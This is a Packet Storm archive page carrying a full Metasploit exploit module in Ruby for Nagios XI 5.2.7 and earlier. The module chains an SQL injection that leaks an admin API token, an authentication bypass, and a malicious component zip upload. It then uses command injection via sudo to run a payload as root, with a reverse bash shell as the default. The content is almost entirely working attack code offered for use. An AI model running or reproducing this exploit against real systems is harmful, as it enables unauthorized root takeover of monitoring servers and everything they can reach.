all things security

Nagios XI Chained Remote Code Execution

Nagios XI Chained Remote Code Execution
Posted Jul 6, 2016
Authored by wvu, Francesco Oddo | Site metasploit.com

This Metasploit module exploits an SQL injection, auth bypass, file upload, command injection, and privilege escalation in Nagios XI <= 5.2.7 to pop a root shell.

tags | exploit, shell, root, sql injection, file upload
MD5 | f70bea86a23da44db72654aedbe0c274

Nagios XI Chained Remote Code Execution

Change Mirror Download
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote

Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpClient

def initialize(info = {})
super(update_info(info,
'Name' => 'Nagios XI Chained Remote Code Execution',
'Description' => %q{
This module exploits an SQL injection, auth bypass, file upload,
command injection, and privilege escalation in Nagios XI <= 5.2.7
to pop a root shell.
},
'Author' => [
'Francesco Oddo', # Vulnerability discovery
'wvu' # Metasploit module
],
'References' => [
['EDB', '39899']
],
'DisclosureDate' => 'Mar 6 2016',
'License' => MSF_LICENSE,
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'Privileged' => true,
'Payload' => {
'Compat' => {
'PayloadType' => 'cmd cmd_bash',
'RequiredCmd' => 'generic bash-tcp php perl python openssl gawk'
}
},
'Targets' => [
['Nagios XI <= 5.2.7', version: Gem::Version.new('5.2.7')]
],
'DefaultTarget' => 0,
'DefaultOptions' => {
'PAYLOAD' => 'cmd/unix/reverse_bash',
'LHOST' => Rex::Socket.source_address
}
))
end

def check
res = send_request_cgi!(
'method' => 'GET',
'uri' => '/nagiosxi/'
)

return unless res && (html = res.get_html_document)

if (version = html.at('//input[@name = "version"]/@value'))
vprint_status("Nagios XI version: #{version}")
if Gem::Version.new(version) <= target[:version]
return CheckCode::Appears
end
end

CheckCode::Safe
end

def exploit
if check != CheckCode::Appears
fail_with(Failure::NotVulnerable, 'Vulnerable version not found! punt!')
end

print_status('Getting API token')
get_api_token
print_status('Getting admin cookie')
get_admin_cookie
print_status('Getting monitored host')
get_monitored_host

print_status('Downloading component')
download_profile_component
print_status('Uploading root shell')
upload_root_shell
print_status('Popping shell!')
pop_dat_shell
end

#
# Cleanup methods
#

def on_new_session(session)
super

print_status('Cleaning up...')

commands = [
'rm -rf ../profile',
'unzip -qd .. ../../../../tmp/component-profile.zip',
'chown -R nagios:nagios ../profile',
"rm -f ../../../../tmp/component-#{zip_filename}"
]

commands.each do |command|
vprint_status(command)
session.shell_command_token(command)
end
end

#
# Exploit methods
#

def get_api_token
res = send_request_cgi(
'method' => 'GET',
'uri' => '/nagiosxi/includes/components/nagiosim/nagiosim.php',
'vars_get' => {
'mode' => 'resolve',
'host' => '\'AND(SELECT 1 FROM(SELECT COUNT(*),CONCAT((' \
'SELECT backend_ticket FROM xi_users WHERE user_id=1' \
'),FLOOR(RAND(0)*2))x ' \
'FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)-- '
}
)

if res && res.body =~ /Duplicate entry '(.*?).'/
@api_token = $1
vprint_good("API token: #{@api_token}")
else
fail_with(Failure::UnexpectedReply, 'API token not found! punt!')
end
end

def get_admin_cookie
res = send_request_cgi(
'method' => 'GET',
'uri' => '/nagiosxi/rr.php',
'vars_get' => {
'uid' => "1-#{Rex::Text.rand_text_alpha(8)}-" +
Digest::MD5.hexdigest(@api_token)
}
)

if res && (@admin_cookie = res.get_cookies.split('; ').last)
vprint_good("Admin cookie: #{@admin_cookie}")
get_csrf_token(res.body)
else
fail_with(Failure::NoAccess, 'Admin cookie not found! punt!')
end
end

def get_csrf_token(body)
if body =~ /nsp_str = "(.*?)"/
@csrf_token = $1
vprint_good("CSRF token: #{@csrf_token}")
else
fail_with(Failure::UnexpectedReply, 'CSRF token not found! punt!')
end
end

def get_monitored_host
res = send_request_cgi(
'method' => 'GET',
'uri' => '/nagiosxi/ajaxhelper.php',
'cookie' => @admin_cookie,
'vars_get' => {
'cmd' => 'getxicoreajax',
'opts' => '{"func":"get_hoststatus_table"}',
'nsp' => @csrf_token
}
)

return unless res && (html = res.get_html_document)

if (@monitored_host = html.at('//div[@class = "hostname"]/a/text()'))
vprint_good("Monitored host: #{@monitored_host}")
else
fail_with(Failure::UnexpectedReply, 'Monitored host not found! punt!')
end
end

def download_profile_component
res = send_request_cgi(
'method' => 'GET',
'uri' => '/nagiosxi/admin/components.php',
'cookie' => @admin_cookie,
'vars_get' => {
'download' => 'profile'
}
)

if res && res.body =~ /^PK\x03\x04/
@profile_component = res.body
else
fail_with(Failure::UnexpectedReply, 'Failed to download component! punt!')
end
end

def upload_root_shell
mime = Rex::MIME::Message.new
mime.add_part(@csrf_token, nil, nil, 'form-data; name="nsp"')
mime.add_part('1', nil, nil, 'form-data; name="upload"')
mime.add_part('1000000', nil, nil, 'form-data; name="MAX_FILE_SIZE"')
mime.add_part(payload_zip, 'application/zip', 'binary',
'form-data; name="uploadedfile"; ' \
"filename=\"#{zip_filename}\"")

res = send_request_cgi!(
'method' => 'POST',
'uri' => '/nagiosxi/admin/components.php',
'cookie' => @admin_cookie,
'ctype' => "multipart/form-data; boundary=#{mime.bound}",
'data' => mime.to_s
)

if res && res.code != 200
if res.redirect? && res.redirection.path == '/nagiosxi/install.php'
vprint_warning('Nagios XI not configured')
else
fail_with(Failure::PayloadFailed, 'Failed to upload root shell! punt!')
end
end
end

def pop_dat_shell
send_request_cgi(
'method' => 'GET',
'uri' => '/nagiosxi/includes/components/perfdata/graphApi.php',
'cookie' => @admin_cookie,
'vars_get' => {
'host' => @monitored_host,
'end' => ';sudo ../profile/getprofile.sh #'
}
)
end

#
# Support methods
#

def payload_zip
zip = Rex::Zip::Archive.new

Zip::File.open_buffer(@profile_component) do |z|
z.each do |f|
zip.entries << Rex::Zip::Entry.new(
f.name,
(if f.ftype == :file
if f.name == 'profile/getprofile.sh'
payload.encoded
else
z.read(f)
end
else
''
end),
Rex::Zip::CM_DEFLATE,
nil,
(Rex::Zip::EFA_ISDIR if f.ftype == :directory)
)
end
end

zip.pack
end

#
# Utility methods
#

def zip_filename
@zip_filename ||= Rex::Text.rand_text_alpha(8) + '.zip'
end

end

Comments

RSS Feed Subscribe to this comment feed

No comments yet, be the first!

Login or Register to post a comment

File Archive:

October 2017

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Oct 1st
    15 Files
  • 2
    Oct 2nd
    16 Files
  • 3
    Oct 3rd
    15 Files
  • 4
    Oct 4th
    15 Files
  • 5
    Oct 5th
    11 Files
  • 6
    Oct 6th
    6 Files
  • 7
    Oct 7th
    2 Files
  • 8
    Oct 8th
    1 Files
  • 9
    Oct 9th
    13 Files
  • 10
    Oct 10th
    16 Files
  • 11
    Oct 11th
    15 Files
  • 12
    Oct 12th
    23 Files
  • 13
    Oct 13th
    13 Files
  • 14
    Oct 14th
    12 Files
  • 15
    Oct 15th
    2 Files
  • 16
    Oct 16th
    16 Files
  • 17
    Oct 17th
    16 Files
  • 18
    Oct 18th
    14 Files
  • 19
    Oct 19th
    8 Files
  • 20
    Oct 20th
    7 Files
  • 21
    Oct 21st
    0 Files
  • 22
    Oct 22nd
    0 Files
  • 23
    Oct 23rd
    0 Files
  • 24
    Oct 24th
    0 Files
  • 25
    Oct 25th
    0 Files
  • 26
    Oct 26th
    0 Files
  • 27
    Oct 27th
    0 Files
  • 28
    Oct 28th
    0 Files
  • 29
    Oct 29th
    0 Files
  • 30
    Oct 30th
    0 Files
  • 31
    Oct 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2016 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close